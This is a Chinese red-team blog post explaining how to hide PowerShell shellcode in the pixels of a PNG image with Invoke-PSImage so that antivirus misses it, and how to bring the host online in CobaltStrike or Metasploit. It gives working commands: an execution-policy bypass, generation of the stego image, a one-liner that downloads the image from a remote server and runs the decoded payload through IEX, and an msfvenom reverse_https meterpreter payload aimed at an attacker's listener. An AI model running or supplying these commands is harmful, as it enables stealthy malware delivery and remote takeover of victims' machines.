渗透攻击红队
一个专注于红队攻击的公众号
大家好,这里是 渗透攻击红队 的第 52 篇文章,本公众号会记录一些红队攻击的笔记(由浅到深),不定时更新
一般来说一些 AV 对于图片并未做检测处理,其原理可以仅使用有效载荷数据来创建新图像,也可以将有效载荷嵌入到现有图像的最低有效字节中,以便看起来像实际的图片。图像保存为PNG,并且可以无损压缩,而不会影响执行有效载荷的能力,因为数据本身以颜色存储。创建新图像时,通常会对常规PowerShell脚本进行显着压缩,通常会生成 png,其文件大小约为原始脚本的50%,非常方便。
PS:我发一些杂七杂八的广告别当真,就当没看到就好,都是为了生活。
CobaltStrike 免杀
CS免杀演示
首先生成一个 ps1 的文件:
然后把生成的文件放到和 Invoke-PSImage.ps1 文件同一目录:
然后再准备一张普通图片用于生成一个带有 Payload 的图片:
之后使用命令生成一个带有 shellcode 的图片:
# 1、设置执行策略
Set-ExecutionPolicy Unrestricted -Scope CurrentUser
# 2、导入 ps1 文件
Import-Module .Invoke-PSimage.ps1
# 3、生成 shellcode 的图片
Invoke-PSImage -Script .payload.ps1 -Image .saul.jpg -Out .saul.png -Web
之后就会得到这么一串 Powershell 代码:
sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://example.com/saul.png"));$o=a Byte[] 3584;(0..13)|%{foreach($x in(0..255)){$p=$g.GetPixel($x,$_);$o[$_*256+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))
当前目录还会多出了一个 saul.png 的图片:
我们把里面的 http://example.com/saul.png 修改为我们自己的 http 服务,我首先再服务器上开启了一个 http 服务,然后把生成的 saul.png 放到里面用于远程加载:
这个时候我们修改 powershell 代码为我们自己的 http :
sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://192.168.2.14/saul.png"));$o=a Byte[] 3584;(0..13)|%{foreach($x in(0..255)){$p=$g.GetPixel($x,$_);$o[$_*256+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))
然后运行上线的 powershell 代码上线:
Metasploit
1、msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.253.8 LPORT=5555 -f psh-reflection > msf-dayu.ps1
2、Set-ExecutionPolicy Unrestricted -Scope CurrentUser
3、Import-Module .Invoke-PSimage.ps1
4、Invoke-PSImage -Script .cs-dayu.ps1 -Image .dayu.jpg -Out .cs-dayu.png -Web
参考文章:
https://github.com/dayuxiyou/Invoke-PSImage
https://www.freebuf.com/articles/web/262978.html
本文始发于微信公众号(渗透攻击红队):Shellcode 隐写到像素 RGB 免杀上线到 CobaltStrike
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论